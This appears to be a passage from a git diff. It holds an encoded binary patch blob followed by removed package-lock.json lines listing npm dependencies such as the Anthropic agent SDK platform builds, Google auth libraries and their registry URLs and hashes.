zLbH}n^%Ytwj1ltGw`r;HzUHYP(o*4l1**@hy1t^M!u+K9n7`yx73pS(@MNI+ z`#dpdo5W7E8O}8@K3GQGo0gheZ6?$MXsP+tW>|qeh?bgPZH8r3x}`;MQ!Lk*0<|w? zs=@qfGkACqCDjkjTGSJR)hkycEfrGDQ|lXEcmsEGMgccG<1Ma)xa7pi^G4g)n9Q3bjI0W7OS>rbfAm|CbZOr{~^eGS5Q8i8&O z4pexqc`9ua4pUk!!y#38nJU9jR%l>IS;MOE9u*Zb3~usy{BR0Fh|^M`N)T#P6*9C` zs1k%4Q-$+ssZjlihoP)=5hgWH-x#49rrt(#kRA|=7 z$dpjW(^9pebQBJ%@)yujVcOvLc;UJ7bLgq?VJYDCsXX1_Cs+ojqr6^E6qca)`)N~! zib$xC;iqY-a6Y1?LIdOV#JnMu-$F~(8W{3$1P3LRe3JEP z&sCuN)(EWxv`u;HfwZY=gCAc68kjy1qj0y@>jHP*XZvnR*`n1Pt1vy7RV>)|Q(on6 zwcf6{mDOkY z5%dRUz-q*9+(+C(ZXDN-Dd}G5>0+J$^mLAM*&CT%x4T3H z*$N+Q9o$CaU_0CV+Ugv@+CzSQtOMlBAGY?%ZFi_krOUJR@!Cw4w$CA3myK69Gs#v5 znDONYWUzDKaZ6XGT`MZ_&=K3sqpsXSo8_VNTHUL7HehxFEq8uN{3b~D_`cSo+icj# zOvq%@HRTOsvQ;%8^^i{1)uviDZR8H@z&N7$*#1ViMaPi!;5N62C$m*!)8)y!hT3ei z5AsL0ye(=7(}3wZ(7M0IOx9(x<=gnoM>c8%L3II|FB(KP>Gu zf9mQ9)V*7kMeiU&^E1rX`pU1R|N_$&@RB<8B=#iy0AT? z@WuBLU}DdF<}%%Cs``h01k0A-bF#3NpD2F~=~F*-XgKoQl`gT5V9urYdtp{~cqx8| zS3l_SK?mCf8m@jcHKy>r{4vKc<`L?g2MQBlPYF3EOJ(E}K}g*n*fce!upfeSLSrdA z5y-YSUW5hTBOR-lL#XI&SNI_HM&x-xQeUCfg8q-RS`pRR&pC+cLqUf2y)X%%0?)dP z;#tGAsd>B1iM*AWL|JCoTA?+RF#WHCGE??x@P_0+=>Yd2%4$Xy_H!%GVb%GGFo-(u zzE&#%^m&K3D=&Wp+!v^u7w8v3?13DEj;NM%;i1vDP|#b#KOs*HzKPkKaEk+|bKx%w zl7F;$zWoES9W#ac7BKZF%paD6FLrQ<#au>F4@eIaAakE)We68!;2w$_ke81PQF4zW zs#@m24c1ZKfK)@s1k9>Ks;X|$e;7^AKR@WHLB+%yRxOKx{vRqj zJUudf*49L<^TGK$QPJVq#k6M^@T>MokUI8&c`oblRkT?Q;de;eM$zuK$@uj^4p5L` zkpjN@fe;IflkJZwBbjj&xljzO3bv>p`dPYGaJlowz_<3V^!bD|os z{$vRN^II$vS~$pXz!QYd)&33mNx?GPl=C4-a}<`@W;8Gym^3q=GXO92wC-D&DOJZa zEfcG4s{FlBq(jM{=KTT;Kl|>x2fjIn#3|(D=NKgb7xQO&!1RFW0n-Df2TTu`9xy#% zdcgF6=>gLNrU(A!9;j?;?_>scYR~pLaT`InRtL>T#v4YaC!K9+{`^EH%B>G!W5Opi z4sL44Goh}Hr{xmM*40&)r|awM>hqd&+BeR0{iN>NUzTSlj7fJd>t29$@6|m60(Dh& zwdGYQuwW7ej&_6Ecn!H(vND|gLN{~8a7tfecL*Vs?8U=~~vbaIa ziieAxU7KA?q!q52(pAbd`6XqfGDtZ<5#&$hbLBJS{&IKmDRF^oXW=`cUKlR)74{JX z{wsbBzl2}FPv>j-VSE|ijkh~LbFOwi>}+yQb&hf#>kK=0gNOv194kT7V4mYVM}^}k zhach~{%+rBf5E=UKF5BRJz*aNu?aeWlHms13fo<_S+?=E(`|>@dfM7qw^-L%msxMK z&a`H&s}RIwo6graP1QF|(Kk)j zH#O>;&fC=zVYi$4b9F7}=vvO!wVb7EnWSr(sB4*^YZ;=~_RN{AS_bP{2I*Rk(6t<{YZ8oq$qigA{YdKigQl@K(=~|+?mWZw;tZNDBT7tTkfUd<~u)sj36N&kaip%~E zi~K2c%;yeNL@PqRbTpU>CoCU8QP$EXkpK|+x>0}@nPWTeOfQuZ;T7^XmZv*-{G~tON8gH2MNSe@4*h zgg2CqR7Bh`+wi-C!9ds@jrl6v{zMGaczx+q+#9zn1@wCCyW9eWtF1ZBK!Dq`r9|m`~R=Tb~E>G5Y4C!TdeR zDW*MQ$-%*y+uST1gLw6!P>3A@=EJrzN8tEOI2a6C8o_+9zL`v(1G;98G#Wj&HG93j zNH`GU$k+GdwlTM4jkGCO6x!_C=E-HQhjxQ?C*lRnz5@9(K)2V>KF}EndIL~t!XbAs z0w8;yq2!Bo^Audq)f_l7?$>jEdQYrpubnz_9M8^;WXPyp7qtP8DE`FRj$ zpjs>w+qph=Em7`bHYt;p;p|R|N3qIlD^HV0$bN`m zuwJ@fnjxK`ta0ok3~+T2HVaGbKRbpxvqERbcxMy;h4UNdbNp`na{h4J>$W>==h;`; zZ-M##@err5n`4XPCC37O47-til)cQd&a&7t-Ez9UhwXPu&?4AQ;$&_E_aJvM%=*1n zyRDb_0Vi8k<~{gdv0o3%iEPRr2vndwH4Tlt5RIIPM$XcZp>#YFO()%fXaw4VMA{3z zTO#iER>aeZM93S9CKK{nH1cgU@+~xSqlU!PyxC~v73kDIK_j(Z7WF=TgudqoXyp57 zq}HmV^7$_Mp6k%achJbqXykv;$W0m&QM^= z35|Rajog4nzK2G>ibiVVS=2Ln1%1zzXylV<(D!^EjeG`;T!uzIrXevUIuDIJ7oGYO zXyoH)!&idN;LsI12e^ zj6WaNN`x8tKZHg;h()sTE&CJQLE+9L_RP%a(YgY3dAHJx|xtTg!!S-f%Vm6Vv zy|YPKqufPS407uQwq7=ltSj)lL6pO3u1fI(vU8roelFq67S;(I;~hgC``CZx=kd#h&iofbwJ<5(o1K%$AC|bm zU`YwV>=X5 z8wsJ1+87jt)W-BEq&B)jA+@nG3aQOKP)Kd&gF2U7?WL=n93*jVuxEog!oF zry`+|A{yyJ*Lkh)M3r6ZJ5flj??fTB(JBh5&3IABN6=;0Mnb52Y9k>OQX2`OklIKH zh1BM;D5SR1fkJ949Vn!>(t$#1D;+4Lw#I})YHLg=q_)O{LTYnk6cRm;RV?UtlS3o5 zVFji)R1|cbzZ;Fz#@{F}X)7`)q_)a~LTYPFD5SQ=ghFax9Z*PZO$3G1zK)=fZ_9q> z929ar`Wd~8My?}BR9)H$i)HAvZjl2_$yaSEY)^1Sw z%&pxZMlA9VBy~&;k+-0c-=mS=p^=}%Byt!kpP!-c`6(8uv_~V`p^*X_$)k}@G}3`a z+R;cG8fk^6c}VMZflF#`J@4}$I(;QLK4B3q)M~K~U@x&8 zZaLqwoP9}oio1||&f?%)+z@%Ce5rh_++JEOT_FvVb`jTzbH(A}t`N`g8rKMtua+OR zs4d7wfSzeS^yfFF&_SFtPhU<=2T9OE*y&eFptn*^f2b6CAvX9GCD0)j14OUZ;=T`} zrh^cy7I!WZfdHstDfFCLJ*csYzn4OXvO_p(h-e~(OQZXs>>vaz^(ci7!HB$`0BEvG zU8w1xm|xI8zn~O4r~s1?>kvD9QYmzJ?htMV!YD~~rO*qp;qNSkUWiJ6T?zD7G2)*t zgXp=TypCd=i#?^)~D+MfN@ zU(x6POp?E_CJbE;o476&Fos7S;?V)5qZjRlZC4Yq3PRdS31K5LT$S0!ae5A>mD>|?lkDfJK zbX0TfWVDI>QVo2)0S+pY0d zfz`_V*j#TeHE$-r+XqdB>Ec`ITi~nkjqr7qzLMUSekJ`x_);pB z`b+Kn6a9nLgCvlHwZdS&TsZ8f6e)%KPf$%H&XL6l9 zM(!tfmOUhs;8p(<{(0o3o&Kl0cu8h@oHKFlloR)?T_~yuMO}uX2BWAv6m<@YYKNk9 z3}qfeQ3p}fhbZcgC~6~$dId$jfT8rBDC!IpC1EJ-a}@P1irRpotRpB2^}MWosAFwK zQU8OY)}g4?DC!9m^$?1hi=w8Zs3~OqE3xx=Pc<2Jd?ztI9_Uo!IGT7(mWX*CfmSF= z&N}Q#b6l^WiI>yF(KPWgns^~i97PjH(!>!o@dBDSoF)#Wi34b2f0`JliTN}!Micwe z#2`(~rHQ?1VlSH5lO}ejiQQ=8IW+NXn%IRVcBYAE(Zo(Pu_NY;!pSW+xz=j7& z6Ey8HusaKy<`3B21?f(M?9K%{sUV$6U?&`qZUNFYK#~X^RIAhr)K2N{1*O)01^nl` zRRMcX3u@2RE;RYA?es%EPbXUeMeaerqTOinJv8|)n%s{jozwu-Yu|@Hrqiv5I;N8r zfg<-}AKh^JhET_J`i4-X(>H`7oxULy>GTbuNT+WIMLK;$DAMU0LXr5sA!p|#>X^>X zNfhbqoJ5h%&Pf#M?AJw+&VF4K>Fn1S)s0$&Y$;XD2_3bawKiNM|QMigb4Jqe$nDfFhkc0*Z9* z2q@CIBcMnR`CfqR8So5k{9fRVmpeZ3;SV4Do}H8^T4RJj#CnbVAOGPM;1%E%;1%E% z;1%E%;1%E%;1%E%;1%E%V5&exeJe${q+LsI|L@!T6;rjR-<3VFxNc%<+H~)jJknv9 z8;a$ILsy1KGt=>YAWWLUr23YMFuYw$Pm{+>H_DaORTtNmS57IasL4E*_)Q*a)~Nax zsu1fqYh3!lYAY)z7p1DJE30dYYAb7tCzn>%O{q;)Ps?%sV^QtYs#H#4j*I2=$;k|c zD=IG|3g-0@k8^-2#TE9!N++dCudk{spHiDM-TO^m3^}QyePSEG7r6JUKU{hHPgfqX zzZdWXJ{QRU_z$lDuK=$AuK=$AuK=$AuK=$AuK=$AuK=$AufV@e1q_ea(VO|ACeWI^ ztS0ja)^A^a#yfL+{obBOV9zQ1N6sVA2mC)wB;fN1u=%BY9s!wQoEIWrL`LIema#L= zvp5n8=Y~RLyk{g5o)9aJ>kZglPx?AE`3jo+9hzK=Ciy%9L=G^YM}XOHroV{3>i9eY z%xbd2W8fT&X7KYboSx&4(#<9>k)e8RkC3)d~P^93#t77EH8%4nsN{Gt4eJl(3Z z23fkf)qGf3sH{>Bsk!O|b&0x7*yy{(_nhxje-Hn){-68bly!NSZ>UeRo{%<6MbZP- z9`O_D+(4(m_r+-@7*M-;t-D#c-3>W=Qo~@z1_XzJ%i0jW?$nAV~ugUagotV z->xs!C+b1%u(n$Jk#?chQVH*Se6blOTDW?5WXTYh7z z$k~V3c#jJuuFT6TjFPzPNHAOwN)BT%k#m?IjF1rsmok`0pt^0!PbL{mB*fh|#gi!p z6WJ(gn+lRucoPY)c1(%nG={R1w~re$udo^2fcdZ4jP8`AgKS238o)C>AM)Ew#q7)Ct!{qY}%Zg2mo5wk-2FJv>i z@%&e_8Qoz16r0hFn_BA5urlI`)PD7iSvEi7J;j53(Wg=w1- z$@3X1NIuw+Wg;{As2iKn9UF9r&FGG$+r(xhGY#y?Vu_@=j>#Byr+O`AGG@&q7)E~m ze>VGjf!VM9a`>pZg~K%O6+)Fq@u&^zW9n=*MNgledlZg*N;(d_VO^7byV9M7^ zf!2Vo&~@u;KtBlR9|8Kifc_4kZvgZLKwkssPXhWPK%WQbGXT93(60sb(SSY#&?A7} z4ba;Ix&i0{T{jN_`aVGa6ZBs100C_wpalfz5FkT<4+2D>44VLb9iXoO^rrxQDWKmA z=yL%57C^58^ihC54AA3%-V4w>0=h}pjbng*0MPdU`rCm1Dxj|fbYK}a7DM++&(k0Q zA7d_fjA&RNPG?w zpMV7T=~LJP9%Cm+YzK)gAh8i7UI&Q=koYY~tOAMWLE_gS@f1k>5+oi032+?~9srNA z03_yv1h`rXcY?>50}?-iKKk5rV(#F8;vp-p?rPT9`2v!;I+Hs{{=k2D1$YH`1$YH` z1$YH`1$YH`1$YH`1$YJiR!pj!SlPFf3@YwhQ$A&4-Q?ox^4h7n6Dq4GrgEk?Zdq$i4j|7R{BGtB z4*zuRBM*h=KF4zh|K;B9{0Z?2@Cxt>@Cxt>@Cxt>@Cxt>@Cxt>@Cxt>`~xb`BzLe4 zIiQ_AcsyTV&_$c`X7&H;4o#dYj22c2fyV>41TG77v;NO|!&++9S|hDa=4a+Q^8s_R zImm2d>@!vy_ZVeHfnn(H>d)$P^lS8xE@|7er?gwOE47~L5p|RLsCtunv3j<0NO?_J zq*N)xl=kw+@^9sPVx`&uwuY%HVQ4s-sM<#y+3!3@*3r z`%E^MU3t=;ZZf#s-gFOx%WXqC%;0ic_CE@25pwLSx3sdRHa*@X`|H_oVKk0CE@_^1 zJ5u*ExZJMNZ453qlw%`<%k7R|&){-f<6pwMn)Jm##pcR1#V=-XxgGKI8C-5V{7kGX zdvH&n4TH;VtX3IZZddhD2AA7XeF*C!y?}0mT?2#5?dRLvMe5PR?gDe)OW}CDfb__d zSkX`@r1qA2IDP!C-uPZickh$VOtSjMNcX;S9zjq4wj}GV9ZC_5#`2QhAAxM#VWas; z?_D5UkY)>#-upn7Ea2ohL^u7YJq`Vn+ z6UdS`l+A{d-W?ztOS9x$><3x*y!{nq)8{P~Ns1E4rq5d}niN}tZ2G*#Vo9+x#FDOd zrw)WY4`kEl%|31c$Y#zPdA`FzHgn#{aW4ni%z4XCibWusId6oW46>Q?7Eg*(K{j*V z3XeIF6p$skEOyNZ zdke@$jC#45KHgnzx`wNiGoHxQg2eO&-M%Z;An>lZ!4sU^M=Dfv|(r$<) zYg9BwLP8Qr=>W)*^F~;5i}eX0Yv<`W$Mpq3mYlcDae+0}zHkbo`N41`k@N+@{UY`rx~afxVRcrrhWBpJD7@E$rh)BJrfJn6ORe5v-ZF z^@*>~pKaOm2*&=y=Mm^_zWs>=+J2INFwOqQ2@WnPOT^1k;ZSZUFFGMNT9QiS7Dr3U za?4V&R5)I2XEmepUaH!KNiUk@ z^9V5K=xy{h|IeRC&>OWTJM#!oS6v(QwZ!KUAd=y&Ptn&BpGSbHC!a@vsM3G@Jc1+k z-?%rkFiPE!BcTVGi_t+m#p){m|0tV^tr z)!O{R+-|NmmzcMiDRZQGo@p5ej4jG-B%5%ga-L$z2jngC3-W{Vbop9&sC=%h`akw> z^grXj&wrEu2mS&6u71h)q3?Cya^F3^8sAmEgs+oyOxi6qNRLZ*NmHcJQdDXu{!QE= z{#N`i@eZ+Eyjbijw(=hKZu744)_Z4p%e*7Jy}c&MDtya$&RA&t&=_MRj1Kx&`k(YQ zdc8hVFVY9)MM%{^<^?qVWwK74ph4+$CO>l%gPeF9{+|v zoy2~p+eQ&+LlaesXdR`AhiKw{n)n_~+(r{O(!}*N@gt-D%>PG|{Aq9*SrlrimZX#2qwoGfixui7RR1a+>%sO}vjL{)8q@r-?Vv z#0zQSaGF>^6MNIdPBhV?i2_A5KBtNA)5NVb@im(GB2A<%7)CwKc@IszjV9L8#0fNU z3{AX@%k^k@t@Cxt>@Cxt>@Cxt>@Cxt>@Cxt> z@Cu+SP+H$c5&E@j>1h%OnBC}{P6M1SH#W32C)Lw zz5wR>w7x*sljjQ{uFwDYe1V7UFEtwT1yW!CZqD0<7ksG++l3**Vj(aw5Dj>&4c0@} zBr9fl&5hTGqC zYATzR`;@WDS@L`GV{*Bi>p$Rs&Og=P-|z7?_)PUVwj`{ ztn^Oz4)*%U6oR(o$z=cZlSVk<(CM8TH>FDJYRfC96qVIg7dwBbs5xOjh?}B)EbyRk zlig;I^O8{daA7DG%#VbU#s_SVYX{mN_a0*NHc1(8%j|Wt#x*uCdCsxIa3~lF7bMNj z%-;OMa9%J@f?mx&&G5#e!FV*3Gz;0hGdC36Ha z-fCuVdU62?tTtybd(*QLZ10`SUNX~xOlPpY3z@y~v^SnKA7S~-gl>}2-3^C|W-d)~$yU+`#O0 zXJy>V>~*Je+|BGIA@!MgAob1h76hY_NYYx)<|X%EcT&o$%wBgk%O+;8I}K(#v)7%k zw42%M&aU}0v)7$BayU1P(10q9BUzWx{T!-ti?I|QL^BBCtxkk*>@~eSc`M^qakwkZw4*)hW#d^Am9t; zBuiWDqqsvPy0Tl~%QExC-0>5Au#e(e&cj;V!4-w8z*!TkmH6bo$nLLm9Wk*51O0I<>sB{M01$g)i`SW z(O6;JXH*-P8hs2^|3H65U#d^nlX_flqaDyTXisW$w3If4B>o*yx2w;q3)Cw061BG~ zEAK07m3lHoV2lz|TFHNr-;kHdcgUskAo(o+-~8|RpY{LLKgEBMzbAQ0{D)V7SAbW5 zSK!;OK#n-Vy#t-<>(@YA7|}q)ItC+$VdT#+vKvOW!^kEWc@;*M!$>`h+zlhQ!pIFU zQUW7az{oHdiNVOZFwy}=EEw^Ei1`JK?1zz^F!CmhtcQ^oVdQBTc?3ol!pNO4G6P1c zVPpb~jDwLv80iBeonfQ}jKCMBaR@w$@d1o%gOS%^WHpSySDmpGKFZHv{G8;x}V5AsEE`^c)FmfJ@oCzZ`h-mN! zC2bFUl+7pR4*E+Q`h2!d_{7c^@Ee=6atF!3@E=|QUIAVKUIAVKUIAVKUIAVKUIAW# z??MG;dFtCL!iX;Y6esiV^xK6emDki(POL7jn3m%N#pM)+^ZVq~)K%mZPN|zbd3xi% z7yGYev$yqP_WJYO!HW7;if~E0mfj}Gi#1bgYEu=26.1.0" - }, - "optionalDependencies": { - "@anthropic-ai/claude-agent-sdk": "^0.2.137", - "@singularity-forge/engine-darwin-arm64": ">=2.10.2", - "@singularity-forge/engine-darwin-x64": ">=2.10.2", - "@singularity-forge/engine-linux-arm64-gnu": ">=2.10.2", - "@singularity-forge/engine-linux-x64-gnu": ">=2.10.2", - "@singularity-forge/engine-win32-x64-msvc": ">=2.10.2", - "fsevents": "~2.3.3", - "koffi": "^2.16.2", - "vectordrive": "^0.1.35" - } - }, - "node_modules/@a2a-js/sdk": { - "version": "0.3.11", - "resolved": "https://registry.npmjs.org/@a2a-js/sdk/-/sdk-0.3.11.tgz", - "integrity": "sha512-pXjjlL0ZYHgAxObov1J+W3ylfQV0rOrDBB8Eo4a9eCunqs7iNW5OIfMcV8YnZQdzeVSRomj8jHeudVz0zc4RNw==", - "license": "Apache-2.0", - "dependencies": { - "uuid": "^11.1.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@bufbuild/protobuf": "^2.10.2", - "@grpc/grpc-js": "^1.11.0", - "express": "^4.21.2 || ^5.1.0" - }, - "peerDependenciesMeta": { - "@bufbuild/protobuf": { - "optional": true - }, - "@grpc/grpc-js": { - "optional": true - }, - "express": { - "optional": true - } - } - }, - "node_modules/@a2a-js/sdk/node_modules/uuid": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", - "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist/esm/bin/uuid" - } - }, - "node_modules/@anthropic-ai/claude-agent-sdk": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.2.137.tgz", - "integrity": "sha512-2/XBssNqvyG10zDJZPsucCFr422e1KZDK5AQggxG5T6MKxi//ga27E2wqbqm09rLmu9p3EVJyZwdluNdpZNLrA==", - "license": "SEE LICENSE IN README.md", - "optional": true, - "dependencies": { - "@anthropic-ai/sdk": "^0.81.0", - "@modelcontextprotocol/sdk": "^1.29.0" - }, - "engines": { - "node": ">=18.0.0" - }, - "optionalDependencies": { - "@anthropic-ai/claude-agent-sdk-darwin-arm64": "0.2.137", - "@anthropic-ai/claude-agent-sdk-darwin-x64": "0.2.137", - "@anthropic-ai/claude-agent-sdk-linux-arm64": "0.2.137", - "@anthropic-ai/claude-agent-sdk-linux-arm64-musl": "0.2.137", - "@anthropic-ai/claude-agent-sdk-linux-x64": "0.2.137", - "@anthropic-ai/claude-agent-sdk-linux-x64-musl": "0.2.137", - "@anthropic-ai/claude-agent-sdk-win32-arm64": "0.2.137", - "@anthropic-ai/claude-agent-sdk-win32-x64": "0.2.137" - }, - "peerDependencies": { - "zod": "^4.0.0" - } - }, - "node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.2.137.tgz", - "integrity": "sha512-tvotO8dGDA7LN8NjLbTfS0MbLxQ5dkW559+VwFyqLW1gapATYmwPC7sVQSQv5DvWCQQyMMo1RylRQfOexi+/ig==", - "cpu": [ - "arm64" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-darwin-x64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.2.137.tgz", - "integrity": "sha512-cXZ48AYcETEpsxWKrHK0efMP90gT0hTNUU1cnSNi8mGYTT4L29YFCw/jJPAtMiDSuHJK49HjbSygzimNvzMuEw==", - "cpu": [ - "x64" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.2.137.tgz", - "integrity": "sha512-r46jzSDXl08DUWDdg6fBN5OtTyRAdKS9OoCiJA99e+ChbKfGiaSUgVVNM0rmPs42vCPGpxCne0gnm70JKadd7A==", - "cpu": [ - "arm64" - ], - "libc": [ - "glibc" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64-musl": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.2.137.tgz", - "integrity": "sha512-FkW7vRRDXHguEkWjhQlXkz8cBaTOM/XLqH5FR/eb7E56H/hCtVd4gH3FCfeGE0xfGkEYIl1OavUCV7+tO8tYiQ==", - "cpu": [ - "arm64" - ], - "libc": [ - "musl" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.2.137.tgz", - "integrity": "sha512-ZlHRqA/f+51ahuPUF+a+F4DjeeIy9zMtaYyWRiOgM0Oa6jgAeep1+D7OqxpbqO+loEhVZcJm5aXrZsIYEBmncg==", - "cpu": [ - "x64" - ], - "libc": [ - "glibc" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64-musl": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.2.137.tgz", - "integrity": "sha512-NoZM9pIqSqSgUBms8g/A7TGnBpmxYC2qNE/D/aszk21QC+g/8ni45Wrz0te9+FE0qN3Hs5VL84oKmqKlgsdFpg==", - "cpu": [ - "x64" - ], - "libc": [ - "musl" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-win32-arm64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.2.137.tgz", - "integrity": "sha512-SnwFcsJmXGpUImwv+vMEE+d1RtkLdEHJhyvDptXiJBeSCMBc1+UVj4dVfVEJVgvHTkzDkdHy0uZqE+y/qdkwtA==", - "cpu": [ - "arm64" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk-win32-x64": { - "version": "0.2.137", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.2.137.tgz", - "integrity": "sha512-GCvHU+iPTA3cCsHWBLuWBL2/+VO2LkdXYkFush81sesrrgDssjMhh+l+6Z/8giG2R+2KPTyModW9sdT6p6P2Yg==", - "cpu": [ - "x64" - ], - "license": "SEE LICENSE IN LICENSE.md", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@anthropic-ai/claude-agent-sdk/node_modules/@anthropic-ai/sdk": { - "version": "0.81.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.81.0.tgz", - "integrity": "sha512-D4K5PvEV6wPiRtVlVsJHIUhHAmOZ6IT/I9rKlTf84gR7GyyAurPJK7z9BOf/AZqC5d1DhYQGJNKRmV+q8dGhgw==", - "license": "MIT", - "optional": true, - "dependencies": { - "json-schema-to-ts": "^3.1.1" - }, - "bin": { - "anthropic-ai-sdk": "bin/cli" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - }, - "peerDependenciesMeta": { - "zod": { - "optional": true - } - } - }, - "node_modules/@anthropic-ai/sdk": { - "version": "0.95.1", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.95.1.tgz", - "integrity": "sha512-OO9AF7hmAoU492c/mD7Q2cPqI2WNAj7rAPHlawgBeUgpwiboLRiDs+grsErGWeHHP9ZRWfzq2OVrODTt8aITVg==", - "license": "MIT", - "dependencies": { - "json-schema-to-ts": "^3.1.1", - "standardwebhooks": "^1.0.0" - }, - "bin": { - "anthropic-ai-sdk": "bin/cli" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - }, - "peerDependenciesMeta": { - "zod": { - "optional": true - } - } - }, - "node_modules/@anthropic-ai/vertex-sdk": { - "version": "0.14.4", - "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.14.4.tgz", - "integrity": "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": ">=0.50.3 <1", - "google-auth-library": "^9.4.2" - } - }, - "node_modules/@anthropic-ai/vertex-sdk/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@anthropic-ai/vertex-sdk/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@anthropic-ai/vertex-sdk/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@anthropic-ai/vertex-sdk/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@anthropic-ai/vertex-sdk/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@aws-crypto/crc32": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", - "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - 